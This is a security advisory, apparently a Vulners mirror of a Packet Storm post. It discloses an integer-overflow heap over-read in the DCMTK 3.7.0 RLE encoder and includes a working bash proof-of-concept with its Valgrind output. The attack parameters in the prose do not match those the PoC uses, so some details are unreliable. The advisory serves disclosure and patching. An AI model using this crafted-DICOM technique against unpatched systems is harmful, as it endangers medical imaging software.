Lucene search
+L

📄 DCMTK 3.7.0 RLE Encoder Heap Out-of-Bounds Read

🗓️ 07 Aug 2026 00:00:00Reported by Matthias DeegType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 13 Views

DCMTK 3.7.0 RLE encoder overflow can cause out-of-bounds Pixel Data read; fixed.

Code
Advisory ID:               SYSS-2026-049
    Product:                   DCMTK (DICOM ToolKit)
    Manufacturer:              OFFIS e.V. / DCMTK Community
    Affected Version(s):       3.7.0
    Tested Version(s):         3.7.0
    Vulnerability Type:        Integer Overflow or Wraparound (CWE-190)
    Risk Level:                High
    Solution Status:           Fixed
    Manufacturer Notification: 2026-07-02
    Solution Date:             2026-07-03
    Public Disclosure:         2026-07-31
    CVE Reference:             Not yet assigned
    Author of Advisory:        Matthias Deeg, SySS GmbH
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Overview:
    
    DCMTK (DICOM ToolKit) is an open-source collection of libraries and
    applications implementing large parts of the DICOM (Digital Imaging
    and Communications in Medicine) standard (see [1]).
    
    The Run-Length Encoded (RLE) compression codec encoder is vulnerable to
    an integer overflow in the expected-size sanity check. An attacker who
    can supply a crafted DICOM file with attacker-controlled image dimensions
    can bypass the sanity check and cause the encoder to read beyond the
    Pixel Data heap allocation.
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Vulnerability Details:
    
    The function DcmRLECodecEncoder::encode() in libsrc/dcrlecce.cc (lines 186,
    215-216, 243, and 256-268) performs a sanity check using 32-bit arithmetic
    for attacker-controlled dimensions:
    
      if (numberOfStripes * columns * rows * numberOfFrames > length)
          result = EC_CannotChangeRepresentation;
    
      const Uint32 bytesPerStripe = columns * rows;
      const Uint32 frameSize = columns * rows * samplesPerPixel * 
    bytesAllocated;
    
      frameOffset = frameSize * currentFrame;
      pixelPointer = pixelData8 + frameOffset + sampleOffset +
                     bytesAllocated - byte - 1;
      for (pixel = 0; pixel < bytesPerStripe; ++pixel)
          rleEncoder->add(*pixelPointer);
    
    The sanity check uses 32-bit arithmetic. With Rows=65535, Columns=65535,
    BitsAllocated=8, SamplesPerPixel=1, and NumberOfFrames=131073, the
    expected byte count wraps to 1, so a two-byte Pixel Data element passes
    the check. The encoder then sets bytesPerStripe to 65535 * 65535 and
    reads past the two-byte heap allocation almost immediately.
    
    The attack chain is as follows:
    
      1. The attacker crafts a DICOM file with carefully chosen Rows, Columns,
         and NumberOfFrames values that make the sanity product overflow
         to a small value.
    
      2. The Pixel Data element is set to the small overflowed size.
    
      3. The sanity check passes, because the overflowed product is <= length.
    
      4. The encoder enters the stripe loop with the correct (large)
         bytesPerStripe value.
    
      5. The encoder reads beyond the Pixel Data heap allocation.
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Proof of Concept (PoC):
    
    The following PoC script demonstrates this security vulnerability:
    
    cat > poc.sh << 'EOPOC'
    #!/bin/bash
    # Demonstrate the RLE encoder size-check overflow through dcmcrle
    # Proof of concept exploit for SYSS-2026-049
    
    set -u
    
    POC_DIR="$(cd "$(dirname "$0")" && pwd)"
    WORKDIR="$(mktemp -d /tmp/dcmtk-dcmcrle.XXXXXX)"
    INPUT_DUMP="${WORKDIR}/poc.dump"
    INPUT_DCM="${WORKDIR}/poc.dcm"
    OUTPUT_DCM="${WORKDIR}/poc.rle.dcm"
    LOG="${WORKDIR}/dcmcrle.valgrind.log"
    
    cleanup()
    {
        rm -rf "${WORKDIR}"
    }
    trap cleanup EXIT
    
    require_tool()
    {
        command -v "$1" >/dev/null 2>&1 || {
            echo "[!] Missing required tool: $1"
            exit 1
        }
    }
    
    require_tool dump2dcm
    require_tool dcmdump
    require_tool dcmcrle
    require_tool valgrind
    require_tool timeout
    
    cp "${POC_DIR}/exploit_cli.dump" "${INPUT_DUMP}"
    
    echo "[*] RLE encoder expected-size overflow via dcmcrle"
    echo "[*] Building crafted DICOM input with dump2dcm"
    dump2dcm "${INPUT_DUMP}" "${INPUT_DCM}" || exit 1
    
    echo "[*] Crafted image parameters:"
    dcmdump +P 0028,0008 +P 0028,0010 +P 0028,0011 +P 0028,0002 +P 0028,0100 
    +P 7fe0,0010 "${INPUT_DCM}"
    echo "[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)"
    echo "[*] Running dcmcrle under Valgrind to stop at the first invalid read"
    
    set +e
    timeout 20 valgrind --quiet --error-exitcode=99 --exit-on-first-error=yes \
        dcmcrle "${INPUT_DCM}" "${OUTPUT_DCM}" >"${LOG}" 2>&1
    RC=$?
    set -e
    
    cat "${LOG}"
    
    if [ "${RC}" -eq 99 ] &&
       grep -q "Invalid read of size 1" "${LOG}" &&
       grep -q "DcmRLECodecEncoder::encode" "${LOG}" &&
       grep -q "dcrlecce.cc:268" "${LOG}" &&
       grep -q "0 bytes after a block of size 2" "${LOG}"; then
        echo "[+] SUCCESS: dcmcrle reached the RLE stripe loop and read 
    past the 2-byte Pixel Data buffer"
        exit 0
    fi
    
    echo "[!] FAILED: expected Valgrind invalid-read evidence was not observed"
    echo "[!] Workdir retained for inspection: ${WORKDIR}"
    trap - EXIT
    exit 1
    EOPOC
    
    
    The exploit causes the RLE encoder to segfault when reading the guard
    page, confirming the out-of-bounds read.
    
    ./poc.sh
    [*] RLE encoder expected-size overflow via dcmcrle
    [*] Building crafted DICOM input with dump2dcm
    [*] Crafted image parameters:
    (0028,0008) IS [2147418111]                             #  10, 1 
    NumberOfFrames
    (0028,0010) US 65535                                    #   2, 1 Rows
    (0028,0011) US 2                                        #   2, 1 Columns
    (0028,0002) US 1                                        #   2, 1 
    SamplesPerPixel
    (0028,0100) US 8                                        #   2, 1 
    BitsAllocated
    (7fe0,0010) OB 41\42                                    #   2, 1 PixelData
    [*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)
    [*] Running dcmcrle under Valgrind to stop at the first invalid read
    ==53104== Invalid read of size 1
    ==53104==    at 0x49CB83A: UnknownInlinedFun (dcrleenc.h:103)
    ==53104==    by 0x49CB83A: DcmRLECodecEncoder::encode(unsigned short 
    const*, unsigned int, DcmRepresentationParameter const*, 
    DcmPixelSequence*&, DcmCodecParameter const*, DcmStack&, bool&) const 
    (dcrlecce.cc:268)
    ==53104==    by 0x49090A8: DcmCodecList::encode(E_TransferSyntax, 
    unsigned short const*, unsigned int, E_TransferSyntax, 
    DcmRepresentationParameter const*, DcmPixelSequence*&, DcmStack&, bool&) 
    (dccodec.cc:625)
    ==53104==    by 0x49C0C6F: DcmPixelData::encode(DcmXfer const&, 
    DcmRepresentationParameter const*, DcmPixelSequence*, DcmXfer const&, 
    DcmRepresentationParameter const*, DcmStack&) (dcpixel.cc:497)
    ==53104==    by 0x49C0EFF: 
    DcmPixelData::chooseRepresentation(E_TransferSyntax, 
    DcmRepresentationParameter const*, DcmStack&) (dcpixel.cc:292)
    ==53104==    by 0x491921C: 
    DcmDataset::chooseRepresentation(E_TransferSyntax, 
    DcmRepresentationParameter const*) (dcdatset.cc:810)
    ==53104==    by 0x40044D2: main (dcmcrle.cc:295)
    ==53104==  Address 0x5dbe8b2 is 0 bytes after a block of size 2 alloc'd
    ==53104==    at 0x4856168: operator new[](unsigned long, std::nothrow_t 
    const&) (vg_replace_malloc.c:850)
    ==53104==    by 0x495ACA7: DcmElement::newValueField() (dcelem.cc:708)
    ==53104==    by 0x4959E7B: DcmElement::loadValue(DcmInputStream*) 
    (dcelem.cc:613)
    ==53104==    by 0x495C141: DcmElement::read(DcmInputStream&, 
    E_TransferSyntax, E_GrpLenEncoding, unsigned int) (dcelem.cc:1168)
    ==53104==    by 0x49F7F07: DcmPolymorphOBOW::read(DcmInputStream&, 
    E_TransferSyntax, E_GrpLenEncoding, unsigned int) (dcvrpobw.cc:289)
    ==53104==    by 0x49C156D: DcmPixelData::read(DcmInputStream&, 
    E_TransferSyntax, E_GrpLenEncoding, unsigned int) (dcpixel.cc:890)
    ==53104==    by 0x4983B6E: DcmItem::readSubElement(DcmInputStream&, 
    DcmTag&, unsigned int, E_TransferSyntax, E_GrpLenEncoding, unsigned int) 
    (dcitem.cc:1302)
    ==53104==    by 0x4989F88: DcmItem::readUntilTag(DcmInputStream&, 
    E_TransferSyntax, E_GrpLenEncoding, unsigned int, DcmTagKey const&) 
    (dcitem.cc:1479)
    ==53104==    by 0x4916ADD: DcmDataset::readUntilTag(DcmInputStream&, 
    E_TransferSyntax, E_GrpLenEncoding, unsigned int, DcmTagKey const&) 
    (dcdatset.cc:437)
    ==53104==    by 0x49801FF: DcmFileFormat::readUntilTag(DcmInputStream&, 
    E_TransferSyntax, E_GrpLenEncoding, unsigned int, DcmTagKey const&) 
    (dcfilefo.cc:786)
    ==53104==    by 0x497D428: DcmFileFormat::loadFileUntilTag(OFFilename 
    const&, E_TransferSyntax, E_GrpLenEncoding, unsigned int, 
    E_FileReadMode, DcmTagKey const&) (dcfilefo.cc:989)
    ==53104==    by 0x497D6FD: DcmFileFormat::loadFile(OFFilename const&, 
    E_TransferSyntax, E_GrpLenEncoding, unsigned int, E_FileReadMode) 
    (dcfilefo.cc:922)
    ==53104==
    ==53104==
    ==53104== Exit program on first error (--exit-on-first-error=yes)
    [+] SUCCESS: dcmcrle reached the RLE stripe loop and read past the 
    2-byte Pixel Data buffer
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Solution:
    
    This security issue was fixed with the commit
    7e9a836672baad9e3b03fcde160d5e16de681bd5 (see [4]).
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Disclosure Timeline:
    
    2026-07-02: Vulnerability reported to manufacturer
    2026-07-02: Manufacturer acknowledges receipt of security advisories
    2026-07-03: Security fix published by manufacturer (see [4])
    2026-07-31: Public release of security advisory
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    References:
    
    [1] DCMTK project website
        https://dcmtk.org/en/
    [2] SySS Security Advisory SYSS-2026-049
     
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-049.txt
    [3] SySS GmbH, SySS Responsible Disclosure Policy
        https://www.syss.de/en/responsible-disclosure-policy
    [4] DCMTK security fix
     
    https://github.com/DCMTK/dcmtk/commit/7e9a836672baad9e3b03fcde160d5e16de681bd5
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Credits:
    
    This security vulnerability was found by Matthias Deeg of SySS GmbH with
    the assistance of SySS AI.
    
    E-Mail: matthias.deeg (at) syss.de
    Public Key: 
    https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc
    Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Disclaimer:
    
    The information provided in this security advisory is provided "as is"
    and without warranty of any kind. Details of this security advisory may
    be updated in order to provide as accurate information as possible. The
    latest version of this security advisory is available on the SySS
    website.
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Copyright:
    
    Creative Commons - Attribution (by) - Version 4.0
    URL: https://creativecommons.org/licenses/by/4.0/deed.en

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Aug 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4
13